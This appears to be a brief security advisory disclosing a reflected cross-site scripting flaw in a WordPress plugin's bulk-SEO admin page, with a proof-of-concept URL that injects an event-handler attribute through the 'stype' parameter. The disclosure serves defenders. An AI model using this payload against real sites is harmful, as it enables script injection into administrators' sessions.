The plugin does not escape the type parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=sq_bulkseo&tab&stype=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+xxx&skeyword=pp